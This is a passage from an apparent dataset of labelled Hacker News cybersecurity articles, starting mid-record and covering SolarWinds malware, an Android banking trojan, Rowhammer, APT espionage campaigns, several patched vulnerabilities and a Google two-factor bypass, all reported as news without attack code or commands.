The cybersecurity firm said it discovered only four samples of Raindrop to date that were used to deliver the Cobalt Strike Beacon — an in-memory backdoor capable of command execution, keylogging, file transfer, privilege escalation, port scanning, and lateral movement.
Symantec, last month, had uncovered more than 2,000 systems belonging to 100 customers that received the trojanized SolarWinds Orion updates, with select targets infected with a second-stage payload called Teardrop that's also used to install the Cobalt Strike Beacon.
""The way Teardrop is built, it could have dropped anything; in this case, it dropped Beacon, a payload included with Cobalt Strike,"" Check Point researchers said, noting that it was possibly done to ""make attribution harder.""
""While Teardrop was used on computers that had been infected by the original Sunburst Trojan, Raindrop appeared elsewhere on the network, being used by the attackers to move laterally and deploy payloads on other computers.""
It's worth noting that the attackers used the Sunspot malware exclusively against SolarWinds in September 2019 to compromise its build environment and inject the Sunburst Trojan into its Orion network monitoring platform. The tainted software was then delivered to 18,000 of the company's customers.
Microsoft's analysis of the Solorigate modus operandi last month found that the operators carefully chose their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop based on intel amassed during an initial reconnaissance of the target environment for high-value accounts and assets.
Now Raindrop (""bproxy.dll"") joins the mix. While both Teardrop and Raindrop act as a dropper for the Cobalt Strike Beacon, they also differ in a number of ways.
For a start, Teardrop is delivered directly by the initial Sunburst backdoor, whereas Raindrop seems to have been deployed with the goal of spreading across the victims' network. What's more, the malware shows up on networks where at least one computer has already been compromised by Sunburst, with no indication that Sunburst triggered its installation.
The two malware strains also use different packers and Cobalt Strike configurations.
Symantec did not identify the organizations impacted by Raindrop but said the samples were found in a victim system that was running computer access and management software and on a machine that was found to execute PowerShell commands to infect additional computers in the organization with the same malware.

",Malware
Beware: Fake 'The Interview' App Affects Android Users,https://thehackernews.com/2014/12/movie-the-interview-android.html,"""The Interview"", the controversial North Korean-baiting film which appeared to be the root cause of the cyber mishap occurred at Sony Pictures Entertainment that threatened terror attack at theaters showing the movie, now threatens to expose users of Android phones to a malware attack.

Since its release, everyone is talking about ""The Interview"" — the Seth Rogen and James Franco-starring comedy centered around a TV host and his producer assassinating North Korean dictator Kim Jong Un. Because cybercriminals are known to take advantage of major events where there is a high level of public interest, The Interview became their target.

In a joint investigation, Security researchers of McAfee and Technische Universität Darmstadt and the Center for Advanced Security Research Darmstadt (CASED) has discovered an Android app claiming to download 'The Interview' comedy on their smartphone devices actually infects users' devices with banking trojan in order to steal their financial information.

The Banking Trojan is appeared to be hosted on Amazon Web Services and is delivered via a torrent file. Researchers have identified that the malware campaign is targeting Android users in South Korea and is active from the last few days. The campaign is attempting to exploit the popularity of The Interview movie that triggered tension over its release on Christmas.

The malware trojan, detected by the researchers at McAfee as Android/Badaccents, targets customers of some Korean banks as well as an international bank, Citi Bank. According to researchers, the Trojan is selective about its victims and avoids infection of devices sold in North Korea.
""One aspect which will probably raise eyebrows, is that the malware code includes a routine to check the device's manufacturing information,"" Graham Cluley wrote on his blog. ""If it is set to either 삼지연 (Samjiyon) or 아리랑 (Arirang), smartphone manufacturers whose Android devices are sold in North Korea, the malware will not infect, and instead display a message that an attempt to connect to the server failed.""
The researchers' findings cited by Cluley revealed that at least 20,000 devices have been infected and that the information exfiltrated from the devices is uploaded to a Chinese mail server.

Security researchers at McAfee has notified Amazon Web Security about the malware hosting issue so that the Amazon-hosted files can be removed and prevent further infections. However, other online storage services could be used by cybercriminals for carrying out the campaign.

Usually cybercriminals use third party Android app to distribute trojan malware in order to infect smartphone users, but this is the first time when cyber crooks have chosen torrent websites to deliver the Trojan, probably because ""The Interview"" is already at the top of search results in Korea and most of the countries.

",Malware
Google Researchers Discover A New Variant of Rowhammer Attack,https://thehackernews.com/2021/05/google-researchers-discover-new-variant.html,"A team of security researchers from Google has demonstrated yet another variant of the Rowhammer vulnerability that targets increasingly smaller DRAM chips to bypass all current mitigations, making it a persistent threat to chip security.
Dubbed ""Half-Double,"" the new hammering technique hinges on the weak coupling between two memory rows that are not immediately adjacent to each other but one row removed in an attempt to tamper with data stored in memory and attack a system.
""Unlike TRRespass, which exploits the blind spots of manufacturer-dependent defenses, Half-Double is an intrinsic property of the underlying silicon substrate,"" the researchers noted.
""This is likely an indication that the electrical coupling responsible for Rowhammer is a property of distance, effectively becoming stronger and longer-ranged as cell geometries shrink down. Distances greater than two are conceivable.""
Rowhammer attacks are similar to speculative execution in that both break the fundamental security guarantees made by the underlying hardware. Discovered in 2014, Rowhammer refers to a class of DRAM vulnerabilities whereby repeated accesses to a memory row (""aggressor"") can induce an electrical disturbance big enough to flip bits stored in an adjacent row (""victim""), thereby allowing untrusted code to escape its sandbox and take over control of the system.
""[The attack] works because DRAM cells have been getting smaller and closer together,"" Google Project Zero researchers elaborated in 2015. ""As DRAM manufacturing scales down chip features to smaller physical dimensions, to fit more memory capacity onto a chip, it has become harder to prevent DRAM cells from interacting electrically with each other. As a result, accessing one location in memory can disturb neighbouring locations, causing charge to leak into or out of neighbouring cells.""
While DRAM manufacturers deployed countermeasures like Target Row Refresh (TRR) to thwart such attacks, the mitigations have been limited to two immediate neighbors of an aggressor row, thus excluding memory cells at a two-row distance. The imperfect protections meant TRR defenses in DDR4 cards could be circumvented to stage new variants of Rowhammer attacks such as TRRespass and SMASH.
The distance-two assisted Rowhammer — aka Half-Double — now joins that list. ""Given three consecutive rows A, B, and C, we were able to attack C by directing a very large number of accesses to A, along with just a handful (~dozens) to B,"" the researchers explained. In this new setup, A is the ""far aggressor,"" B is the ""near aggressor,"" and C is the ""victim.""
Google said it's currently working with the Joint Electron Device Engineering Council (JEDEC), an independent standardization body and semiconductor engineering trade organization, along with other industry partners, to identify possible solutions for Rowhammer exploits.
""To evaluate the effectiveness of a [SoC-level] mitigation, a DRAM vendor should test a mix of hammering distances rather than only testing at individual distances,"" the researchers said. ""In other words, hammering a single row or a pair of sandwiching rows on the raw medium will not show this effect. Instead, pairs of rows on one or both sides of an intended victim need to be hammered.""

",Cyber_Attack
"Iranian Hackers Utilize ScreenConnect to Spy On UAE, Kuwait Government Agencies",https://thehackernews.com/2021/02/iranian-hackers-utilize-screenconnect.html,"UAE and Kuwait government agencies are targets of a new cyberespionage campaign potentially carried out by Iranian threat actors, according to new research.
Attributing the operation to be the work of Static Kitten (aka MERCURY or MuddyWater), Anomali said the ""objective of this activity is to install a remote management tool called ScreenConnect (acquired by ConnectWise 2015) with unique launch parameters that have custom properties,"" with malware samples and URLs masquerading as the Ministry of Foreign Affairs (MOFA) of Kuwait and the UAE National Council.
Since its origins in 2017, MuddyWater has been tied to a number of attacks primarily against Middle Eastern nations, actively exploiting Zerologon vulnerability in real-world attack campaigns to strike prominent Israeli organizations with malicious payloads.
The state-sponsored hacking group is believed to be working at the behest of Iran's Islamic Republic Guard Corps, the country's primary intelligence and military service.
Anomali said it spotted two separate lure ZIP files hosted on Onehub that claimed to contain a report on relations between Arab countries and Israel or a file relating to scholarships.
""The URLs distributed through these phishing emails direct recipients to the intended file storage location on Onehub, a legitimate service known to be used by Static Kitten for nefarious purposes,"" the researchers noted, adding ""Static Kitten is continuing to use Onehub to host a file containing ScreenConnect.""
The attack commences by directing users to a downloader URL pointing to these ZIP files via a phishing email that, when opened, launches the installation process for ScreenConnect, and subsequently uses it to communicate with the adversary. The URLs themselves are distributed through decoy documents embedded in the emails.
ConnectWise Control (formerly called ScreenConnect) is a self-hosted remote desktop software application with support for unattended access and conducting meetings with screen-sharing features.
The ultimate goal of the attackers, it appears, is to use the software to connect to endpoints on client networks, enabling them to conduct further lateral movements and execute arbitrary commands in target environments in a bid to facilitate data theft.
""Utilizing legitimate software for malicious purposes can be an effective way for threat actors to obfuscate their operations,"" the researchers concluded. ""In this latest example, Static Kitten is very likely using features of ScreenConnect to steal sensitive information or download malware for additional cyber operations.""

",Vulnerability
New Evidence Suggests SolarWinds' Codebase Was Hacked to Inject Backdoor,https://thehackernews.com/2020/12/new-evidence-suggests-solarwinds.html,"The investigation into how the attackers managed to compromise SolarWinds' internal network and poison the company's software updates is still underway, but we may be one step closer to understanding what appears to be a very meticulously planned and highly-sophisticated supply chain attack.
A new report published by ReversingLabs today and shared in advance with The Hacker News has revealed that the operators behind the espionage campaign likely managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the malicious backdoor through its software release process.
""The source code of the affected library was directly modified to include malicious backdoor code, which was compiled, signed, and delivered through the existing software patch release management system,"" ReversingLabs' Tomislav Pericin said.
Cybersecurity firm FireEye earlier this week detailed how multiple SolarWinds Orion software updates, released between March and June 2020, were injected with backdoor code (""SolarWinds.Orion.Core.BusinessLayer.dll"" or SUNBURST) to conduct surveillance and execute arbitrary commands on target systems.
FireEye has not so far publicly attributed the attack to any specific nation-state actor, but multiple media reports have pinned the intrusion campaign on APT29 (aka Cozy Bear), a hacker group associated with Russia's foreign intelligence service.
Sneaky Injection of Malicious Code
Although the first version containing the tainted Orion software was traced to 2019.4.5200.9083, ReversingLabs has found that an earlier version 2019.4.5200.8890, released in October 2019, also included seemingly harmless modifications that acted as the stepping stone for delivering the real attack payload down the line.
Empty .NET class prior to backdoor code addition [ver. 2019.4.5200.8890]
The idea, according to Pericin, was to compromise the build system, quietly inject their own code in the source code of the software, wait for the company to compile, sign packages and at last, verify if their modifications show up in the newly released updates as expected.
Once confirmed, the adversary then took steps to blend the SUNBURST malware with the rest of the codebase by mimicking existing functions (GetOrCreateUserID) but adding their own implementations so as to remain stealthy and invoking them by modifying a separate class called ""InventoryManager"" to create a new thread that runs the backdoor.
What's more, malicious strings were obscured using a combination of compression and Base64 encoding in hopes that doing so would thwart YARA rules from spotting anomalies in the code as well as slip through undetected during a software developer review.
""The attackers went through a lot of trouble to ensure that their code looks like it belongs within the code base,"" Pericin said. ""That was certainly done to hide the code from the audit by the software developers.""
How did the Compromise Happen?
This implies that not only did the attackers have a high degree of familiarity with the software, but also the fact that its existing software release management system itself was compromised — as the class in question was modified at the source code level to build a new software update containing the backdoored library, then signed, and ultimately released to the customers.
This also raises more questions than it answers in that a change of this magnitude could only have been possible if either the version control system was compromised or the trojanized software was placed directly on the build machine.
While it's not immediately clear how the attackers got access to the code base, security researcher Vinoth Kumar's disclosure about SolarWinds' update server being accessible with the password ""solarwinds123"" assumes new significance given the overlap in timelines.
Kumar, in a tweet on December 14, said he notified the company of a publicly accessible GitHub repository that was leaking the FTP credentials of the company's download website in plaintext, adding a hacker could use the credentials to upload a malicious executable and add it to a SolarWinds update.
""That Github repo was open to the public since June 17 2018,"" Kumar said, before the misconfiguration was addressed on November 22, 2019.
""SUNBURST illustrates the next generation of compromises that thrive on access, sophistication and patience,"" Pericin concluded. ""For companies that operate valuable businesses or produce software critical to their customers, inspecting software and monitoring updates for signs of tampering, malicious or unwanted additions must be part of the risk management process.""
""Hiding in plain sight behind a globally known software brand or a trusted business-critical process, gives this method access that a phishing campaign could only dream to achieve,"" he added.
Over 4,000 Sub-domains Compromised by SUNBURST
SolarWinds said up to 18,000 of its customers may have been impacted by the supply chain attack while urging Orion platform users to update the software to version 2020.2.1 HF 2 as soon as possible to secure their environments.
According to security researcher R. Bansal (@0xrb), over 4,000 sub-domains belonging to prominent businesses and educational institutions were infected with the SUNBURST backdoor, including those of Intel, NVIDIA, Kent State University, and Iowa State University.
To make matters worse, malicious code added to an Orion software update may have gone unnoticed by antivirus software and other security tools on targeted systems owing to SolarWinds' own support advisory, which states its products may not work properly unless their file directories are exempted from antivirus scans and group policy object (GPO) restrictions.
""Prolific actors are constantly going after high-revenue customers like SolarWinds because they see an increased chance of making larger profits by selling access to ransomware partners and other buyers,"" cybersecurity firm Intel 471 said, responding to the possibility that criminals were selling access to the company's networks on underground forums.
""Whether it's by exploiting vulnerabilities, launching spam campaigns or leveraging credential abuse, access is typically advertised and auctioned to the highest bidder for a profit. Whether this was the motivation for the current SolarWinds incident remains to be seen.""

",Malware
AirHopper — Hacking Into an Isolated Computer Using FM Radio Signals,https://thehackernews.com/2014/10/airhopper-hacking-into-isolated.html,"In order to secure sensitive information such as Finance, many companies and government agencies generally use totally secure computer systems by making sure it aren't connected to any network at all. But the most secure systems aren't safe anymore.

Security researchers at the Cyber Security Labs at Ben Gurion University in Israel have found a way to snoop on a personal computer even with no network connection.

STEALING DATA USING RADIO SIGNALS
Researchers have developed a proof-of-concept malware that can infiltrate a closed network to lift data from a machine that has been kept completely isolated from the internet or any Wi-Fi connection by using little more than a mobile phone's FM radio signals.

Researcher Mordechai Guri, along with Professor Yuval Elovici of Ben Gurion University, presented the research on Thursday in the 9th IEEE International Conference on Malicious and Unwanted Software (MALCON 2014) held at Denver.

This new technology is known as 'AirHopper' — basically a keylogger app to track what is being typed on the computer or the mobile phone.

AirHopper is a special type of keylogger because it uses radio frequencies to transmit data from a computer, all by exploiting the computer's monitor display, in order to evade air-gap security measures.
""This is the first time that a mobile phone is considered in an attack model as the intended receiver of maliciously crafted radio signals emitted from the screen of the isolated computer,"" according to a release by Ben Gurion University.
HOW DOES AIRHOPPER WORK ?
The technology works by using the FM radio receiver included in some mobile phones. AirHopper is able to capture keystrokes by intercepting certain radio emissions from the monitor or display unit of the isolated computer.

The researchers can then pick up the FM signals on a nearby smartphone and translate the FM signals into the typed text.

LIMITATIONS
The technique is completely new, although it has some limitations. The team claims that textual and binary information can be gathered from a distance of up to 7 meters with an effective FM-bandwidth of 13-60 bps (bytes per second).
""AirHopper demonstrates how textual and binary data can be exfiltrated from physically a (sic) isolated computer to mobile phones at a distance of 1-7 meters, with effective bandwidth of 13-60 (bytes per second). Enough to steal a secret password.""
This, according to researchers, is enough to steal a secret password. Therefore, in an effort to obtain secret data an attacker can infect a mobile phone of someone from the staff using AirHopper method worked in stealth mode, and then transmit the data.

VIDEO DEMONSTRATION AND POTENTIAL DANGER
Researchers have also provide the Proof-of-concept video, so you can Watch the demonstration video and find out if you should be worried or not.

According to the researchers, the Airhopper technique of data theft was developed by the University in order to protect against potential intrusions of its kind in the future.

""Such technique can be used potentially by people and organizations with malicious intentions and we want to start a discussion on how to mitigate this newly presented risk."" said Dudu Mimran, chief technology officer of the Ben Gurion University's cyber security labs.

",Malware
Critical RCE Vulnerability Found in Apache OFBiz ERP Software—Patch Now,https://thehackernews.com/2021/03/critical-rce-vulnerability-found-in.html,"The Apache Software Foundation on Friday addressed a high severity vulnerability in Apache OFBiz that could have allowed an unauthenticated adversary to remotely seize control of the open-source enterprise resource planning (ERP) system.
Tracked as CVE-2021-26295, the flaw affects all versions of the software prior to 17.12.06 and employs an ""unsafe deserialization"" as an attack vector to permit unauthorized remote attackers to execute arbitrary code on a server directly.
OFBiz is a Java-based web framework for automating enterprise processes and offers a wide range of functionality, including accounting, customer relationship management, manufacturing operations management, order management, supply chain fulfillment, and warehouse management system, among others.
Specifically, by exploiting this flaw, a malicious party can tamper with serialized data to insert arbitrary code that, when deserialized, can potentially result in remote code execution.
""An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz,"" OFBiz developer Jacques Le Roux noted.
Unsafe deserialization has been a source of data integrity and other security issues, with the Open Web Application Security Project (OWASP) noting that ""data which is untrusted cannot be trusted to be well formed, [and that] malformed data or unexpected data could be used to abuse application logic, deny service, or execute arbitrary code, when deserialized.""
r00t4dm at Cloud-Penetrating Arrow Lab, MagicZero from SGLAB of Legendsec at Qi'anxin Group, and Longofo at Knownsec 404 Team have been credited with reporting the vulnerability.
It's recommended to upgrade Apache OFBiz to the latest version (17.12.06) to mitigate the risk associated with the flaw.

",Vulnerability
Immunity Debugger v1.82 latest version download !,https://thehackernews.com/2011/03/immunity-debugger-v182-latest-version.html,"Immunity Debugger v1.82 latest version download !
""Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry's first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.""

This is the change log:

Better handling of breakpoints.
Fix thread suspend issues while handling breakpoints.
Reintroduced the python shell.
Updated Python to 2.7.1
Fixed python tracebacks to work again.

Download the Immunity Debugger v1.82

",Malware
Update Adobe Reader app for Android to Patch Remote Code Execution Vulnerability,https://thehackernews.com/2014/04/update-adobe-reader-app-for-android-to_15.html,"If you're one of the 400 million Android users out there who have installed Adobe Reader app that helps you to view PDF documents on mobile devices, then you should immediately update your app from Google Play Store.

Adobe has released an updated Adobe Reader 11.2.0 version to addresses an important vulnerability that could be exploited to gain 'remote code execution' ability on the affected system.

According to the Adobe advisory, vulnerability (CVE-2014-0514) resides in the implementation of JavaScript APIs on Adobe Reader 11.2 that could be exploited to execute arbitrary code within Adobe Reader.

Adobe vulnerability discovered by security researcher Yorick Koster of Securify BV, claimed that an attacker can create a specially crafted PDF file containing malicious JavaScript code that triggers when the victim will try to open it using affected Adobe Reader for Android Operating System.

Multiple attack vectors are available to deploy a malicious PDF, i.e. Cyber criminals can use phishing attacks or Facebook Spam to take advantage of such vulnerabilities.

Successful exploitation could allow a malicious attacker to access your important files stored on the Device SD card. Researchers also published a crafted PDF file as Proof of concept, to demonstrate the vulnerability.

Users are advised to update their Adobe Reader for Android as soon as possible. Stay Safe!

",Malware
Mayhem — A New Malware Targets Linux and FreeBSD Web Servers,https://thehackernews.com/2014/07/mayhem-new-malware-targets-linux-and_24.html,"Security researchers from Russian Internet giant Yandex have discovered a new piece of malware that is being used to target Linux and FreeBSD web servers in order to make them a part of the wide botnet, even without the need of any root privileges.

Researchers dubbed the malware as Mayhem, a nasty malware modular that includes a number of payloads to cause malicious things and targets to infect only those machines which are not updated with security patches or less likely to run security software.

So far, researchers have found over 1,400 Linux and FreeBSD servers around the world that have compromised by the malware, with potentially thousands more to come. Most of the compromised machines are located in the USA, Russia, Germany and Canada.

Three security experts, Andrej Kovalev, Konstantin Ostrashkevich and Evgeny Sidorov, who work at Russia-based Internet portal Yandex, discovered the malware targeting *nix servers. They were able to trace transmissions from the infected computers to the two command and control (C&C) servers.
""In the *nix world, autoupdate technologies aren't widely used, especially in comparison with desktops and smartphones. The vast majority of web masters and system administrators have to update their software manually and test that their infrastructure works correctly,"" the trio wrote in a technical report for Virus Bulletin.

""For ordinary websites, serious maintenance is quite expensive and often webmasters don't have an opportunity to do it. This means it is easy for hackers to find vulnerable web servers and to use such servers in their botnets.""
Researchers say that this new type of malware can work under restricted privileges on the systems and has been created by keeping multiple functionality in mind. The malicious attack is conducted via a more sophisticated PHP script, that has a low detection rate with the antivirus engines available.

Communication of the system is established with the command and control servers, which can send the malware different instructions. As we mentioned above that Mayhem is a modular, its functions can be expanded through plugins and at the moment some eight plugins have been discovered, those are listed below:
rfiscan.so - Find websites that contain a remote file inclusion (RFI) vulnerability
wpenum.so - Enumerate users of WordPress sites
cmsurls.so - Identify user login pages in sites based on the WordPress CMS
bruteforce.so - Brute force passwords for sites based on the WordPress and Joomla CMSs
bruteforceng.so - Brute force passwords for almost any login page
ftpbrute.so - Brute force FTP accounts
crawlerng.so - Crawl web pages (by URL) and extract useful information
crawlerip.so - Crawl web pages (by IP) and extract useful information
In case of rfiscan.so, the malware spreads by finding servers hosting websites with a remote file inclusion (RFI) vulnerability that it checks using 'https://www.google.com/humans.txt' file. If the HTTP response contains the words 'we can shake', then the plugin decides that the website has a remote file inclusion vulnerability.

Once the malware exploits an RFI, or any other weakness mentioned above, and get installed, it will run a PHP script on a victim. The PHP script kills all '/usr/bin/host' processes, check for the system architecture and OS (whether Linux or FreeBSD), and then drops a malicious object identified as 'libworker.so'.

Meanwhile, the PHP script also defines a variable named 'AU', which includes the full URL of the script being executed. It also executes the shell script which is then being executed, then pings its Command-and-Control server.

The malware then creates a hidden file system, known as sd0, and downloads all the above eight plugins, none of which were detected by the VirusTotal malware scanning tool.

Mayhem was first detected in April 2014, and according to the trio, it is a continuation of the ""Fort Disco"" brute-force campaign that was unearthed by Arbor Networks in 2013.

The Yandex researchers warned people that there may be more plugins in circulation, based on information they discovered on the two detected Command-and-Control servers, including one which specifically exploits the systems that haven't patched the critical Heartbleed vulnerability in OpenSSL.

",Vulnerability
Internet Explorer vulnerability exposed by Google Researcher used in targeted attacks,https://thehackernews.com/2013/07/Internet-Explorer-vulnerability-exploit-script.html,"Google and Microsoft are at each other's throats again. In a recent statement, Microsoft says hackers have been actively exploiting a vulnerability that was publicly disclosed by a Google researcher, Tavis Ormandy.

Microsoft addressed the vulnerability in its monthly ""Patch Tuesday"" package of fixes for July. Tavis Ormandy revealed the vulnerability in Windows 7 and 8 allows local users to obtain escalated privileges, making it easier for a hacker to compromise a system.

Ormandy has been criticized by Microsoft and some in the security community who subscribe to the practice that a vulnerability shouldn't be made public until a software maker has an opportunity to fix it. Ormandy said that Microsoft ""treat vulnerability researchers with great hostility"" and are ""often very difficult to work with"". He also advised researchers to use pseudonyms when dealing with the software giants.

In 2012, Tavis accused Sophos of ""poor development practices and coding standards"" after he uncovered some nasty flaws.

It is nowhere mentioned that whether the attempted attacks had been successful, or how widespread the attempts appeared to be. This month in Patch Tuesday, Seven bulletins were released by Microsoft yesterday, six of which were critical.

",Cyber_Attack
The Evolution of Cyber Threat; Interview with IntelCrawler's Researchers,https://thehackernews.com/2013/12/the-evolution-of-cyber-threat-interview.html,"Today I desire to propose an interview with Andrey Komarov, CEO of IntelCrawler and Dan Clements, President of IntelCrawler. IntelCrawler is a multi-tier intelligence aggregator, which gathers information and cyber prints from a starting big data pool of over 3, 000, 000, 000 IPv4 and over 200, 000, 000 domain names, which are scanned for analytics and dissemination to drill down to a desired result.

I have prepared for them a series of answers and questions to analyze significant evolutions in the cyber-threat landscape:

Q. Which are the most concerning cyber threats for private businesses and government organizations?
A. Avoiding talking about usual and standard things, of course, the most dangerous and annoying is the emergence of fundamentally new vulnerabilities in critical applications and systems. ""Zero day"" vulnerabilities market is developing every day and taking the shape of a part of the future cyber warfare market, as it is still in the process of formation. Neither consumers in the face of government or companies, nor vendors are not ready for such kind of threat, which makes mitigation actions very complicated.
Q. Which are the industries most exposed to cyber attacks and why?
A. Just imagine, what would be interesting for you, if your main interests were money and information? It is two main reasons of all past and today's cyber attacks in the world. First of all, it is all related to profitable commercial business, such as private banking and industrial sector, ending with government infrastructures, which relates to state sponsored attacks. It is true, as cyber offensive approaches displace ""old school"", such as signal intelligence, as it is much cheaper and easier in the 21st century. The role of information takes new forms, making the computer communications as a battlefield of modern cyber warfare.

Which are the factors that most of all have influenced the design of malicious code in the last year (e.g. P2P communication protocols, advanced evasion techniques, hiding C&C in Tor networks)

Malware coders are interested in hiding of the communications between the infected host and C&C, that's why the stable trend is to create or to use alternative means of communications. That's why, there were lots of new kinds of samples, which used C&C in TOR or I2P, which was really exotic for the first time, but then became one of the standards for the cybercriminals.

Q. Which is the role of the intelligence in the fight to the cybercrime?
A. The role of e-crime intelligence is huge, as sometimes only timely notification about planned threat can help to prevent cyber attack or fraud. There are some difficulties in this niche as well, such as the heterogeneity of geographies cyber criminals live, the languages they speak, opportunity of deep infiltration in Underground communities, gathering information on the real identity of the criminals in the age of anonymity and impersonality and etc., all these aspects forcing us to organize systematical monitoring of several the most important regions, such as Asian segment, former USSR, risky EU-based countries, such as Romania, and use a large network of trusted sources. Software protection ways can't help on 100%, that's why human resources and intelligence are one of the most important additional elements.

Q. Malware and Internet of things, what to expect in the next months?
A. First of all, new variants of mobile malware, as it will be one of the most actual for the nearest future, because of global ""mobilization"". Secondly, new kinds of online-banking trojans and the appearance of medication of POS/ATM malicious code, as ""skimming"" becomes too expensive and risky. Thirdly, hacking and surveillance will damage your privacy more and more, as it is inseparable.

Q. Does it exist a marked distinction between cybercrime and state-sponsored hacking?
A. Yes, as state-sponsored hacking has more specifics. Interesting fact, that firstly cybercriminality creates the trend for further state-sponsored hacking, governments copy its actions and explore the methods and means they use in that or this country, as it is really different. Just compare, Chinese hackers and Latin American hackers, absolutely different style of intrusions, fundamentally different approaches on malicious code, as Chinese stuff is more sophisticated, because of great experience and scientific potential across the whole country.

Q. Which are the governments most active in cyberspace?
A. You should be very cautions talking about exact governments in cyber world, because it is still not very transparent. Good example, we have detected the C&C placed in Morocco, but the owners of the botnets who were behind using email accounts registered on GMX.DE. Another is when the malware after reverse engineering and unpacking had strings written in Hebrew, but hosted in Latvia. Despite these facts, the leaders of this industry certainly are: China, USA, Russia, Germany, France, UK, UAE and Saudi Arabia and Israel.

Q. Do you think it is possible a major cyber attack against a government network or a critical infrastructure in the next year?
A. Yes, as it is one of the today's main interests of bad actors, doesn't matter state sponsored or general criminals.

Q. Do you think it is possible that a Stuxnet like malware is already operating on the Internet?
A. You never know, but I think that the topic of embedded systems backdooring or malware distribution under PLC/RTU/SCADA is still very actual. And was not deleted from the plans of the intelligence community.

Dan Clements: IntelCrawler President, former Cardcops president, one of the first cybercrime intelligence company, which worked with major banks in the US on compromised data recovery.

Andrey Komarov: IntelCrawler CEO, author of OWASP SCADA Security Project. Expert in critical infrastructure protection (CIP) and SCADA security assessment. Responsible for cyber intelligence and e-crime intelligence topics in the company, as well as for R&D on Big Data and IPv4/IPv6 address space research.

",Cyber_Attack
This Asia-Pacific Cyber Espionage Campaign Went Undetected for 5 Years,https://thehackernews.com/2020/05/asia-pacific-cyber-espionage.html,"An advanced group of Chinese hackers has recently been spotted to be behind a sustained cyber espionage campaign targeting government entities in Australia, Indonesia, Philippines, Vietnam, Thailand, Myanmar, and Brunei—which went undetected for at least five years and is still an ongoing threat.

The group, named 'Naikon APT,' once known as one of the most active APTs in Asia until 2015, carried out a string of cyberattacks in the Asia-Pacific (APAC) region in search of geopolitical intelligence.

According to the latest investigation report Check Point researchers shared with The Hacker News, the Naikon APT group had not gone silent for the last 5 years, as initially suspected; instead, it was using a new backdoor, called ""Aria-body,"" to operate stealthily.

""Given the characteristics of the victims and capabilities presented by the group, it is evident that the group's purpose is to gather intelligence and spy on the countries whose governments it has targeted,"" the researchers said.

The backdoor serves a dual purpose in that the threat actor, besides using it to take control of the internal networks of the targeted organizations, is also mounting attacks from an already breached company to infect another.

""This includes not only locating and collecting specific documents from infected computers and networks within government departments, but also extracting removable data drives, taking screenshots and keylogging, and of course, harvesting the stolen data for espionage.""

A Geo-Political Intelligence Campaign

First documented in 2015, the Naikon APT group uses crafted email lures as an initial attack vector against top-level government agencies and civil and military organizations, which, when opened, installed spyware that exfiltrated sensitive documents to remote command-and-control (C2) servers.

Although no new signs of activity have been reported since then, Check Point's latest research casts its operations in a fresh light.

""Naikon attempted to attack one of our customers by impersonating a foreign government – that's when they came back onto our radar after a five-year absence, and we decided to investigate further,"" Lotem Finkelsteen, manager of threat intelligence at Check Point, said.

Not only were multiple infection chains employed to deliver the Aria-body backdoor, but the malicious emails also contained an RTF file (named ""The Indians Way.doc"") that was infected with an exploit builder called RoyalBlood, which dropped a loader (intel.wll) in the system's Microsoft Word startup folder (""%APPDATA%\Microsoft\Word\STARTUP"").


RoyalBlood is an RTF weaponizer shared mostly among Chinese threat actors. It's worth noting that a similar modus operandi has been linked to a campaign against Mongolian government agencies, called Vicious Panda, that was found exploiting the ongoing coronavirus outbreak to plant malware via social engineering tricks.

In a separate infection mechanism, archive files were packaged with a legitimate executable (such as Outlook and Avast Proxy) and a malicious library to drop the loader on the target system.

Regardless of the method to gain an initial foothold, the loader then established a connection with a C2 server to download the next-stage Aria-body backdoor payload.

""After getting the C&C domain, the loader contacts it to download the next and final stage of the infection chain,"" the researchers noted. ""Although it sounds simple, the attackers operate the C&C server in a limited daily window, going online only for a few hours each day, making it harder to gain access to the advanced parts of the infection chain.""

The Aria-body RAT, named so based on the name ""aria-body-dllX86.dll"" given by the malware authors, has all the features you'd expect from a typical backdoor: create and delete files and directories, take screenshots, search for files, gather file metadata, collect system and location information, among others.

Some recent variations of Aria-body also come equipped with capabilities to capture keystrokes, and even load other extensions, per researchers, suggesting the backdoor is under active development.

Aside from exfiltrating all the gathered data to the C2 server, the backdoor listens for any additional commands to be executed.

Further analysis of the C2 infrastructure found that several domains were used for long stretches of time, with the same IP address reused with more than one domain.

Taking their evasion tactics to the next level, the adversary compromised and used servers within the infected ministries as C2 servers to launch attacks, and relay and route the stolen data, rather than risk detection when accessing the remote servers.

Ties to Naikon APT

Check Point said it attributed the campaign to the Naikon APT based on code similarities in Aria-body and the espionage tool detailed by Kaspersky (called ""XSControl"") in 2015, as well as in the use of C2 domains (mopo3[.]net) that resolve to the same IP address as the domains mentioned by the latter (myanmartech.vicp[.]net).


""While the Naikon APT group has kept under the radar for the past 5 years, it appears that they have not been idle,"" Check Point concluded. ""In fact, quite the opposite. By utilizing new server infrastructure, ever-changing loader variants, in-memory fileless loading, as well as a new backdoor — the Naikon APT group was able to prevent analysts from tracing their activity back to them.""

",Malware
Bypassing Google Two Factor Authentication,https://thehackernews.com/2013/02/bypassing-google-two-factor.html,"Duo Security found a loophole in Google's authentication system that allowed them to Google's two factor authentication and gain full control over a user's Gmail account by abusing the unique passwords used to connect individual applications to Google accounts.
Duo Security itself a two-factor authentication provider and the flaw is located in the auto-login mechanism implemented in Chrome in the latest versions of Android, that allowed them to use an ASP to gain access to a Google account's recovery and 2-step verification settings.

Auto-login allowed users who linked their mobile devices or Chromebooks to their Google accounts to automatically access all Google-related pages over the Web without ever seeing another login page.
""Generally, once you turn on 2-step verification, Google asks you to create a separate Application-Specific Password for each application you use (hence ""Application-Specific"") that doesn't support logins using 2-step verification,"" Duo Security said in a blog post.


""Then you use that ASP in place of your actual password. In more-concrete terms, you create ASPs for most client applications that don't use a web-based login: email clients using IMAP and SMTP (Apple Mail, Thunderbird, etc.); chat clients communicating over XMPP (Adium, Pidgin, etc.), and calendar applications that sync using CalDAV (iCal, etc.).""

ASPs are specialized tokens generated for each application that users enter in place of the password/token combination. Duo Security discovered that ASPs actually weren't application-specific, In fact, one code could be used to log in to almost any of the Google's Web properties because of Auto-login feature.

""So, given nothing but a username, an ASP, and a single request to https://android.clients.google.com/auth, we can log into any Google web property without any login prompt (or 2-step verification)""

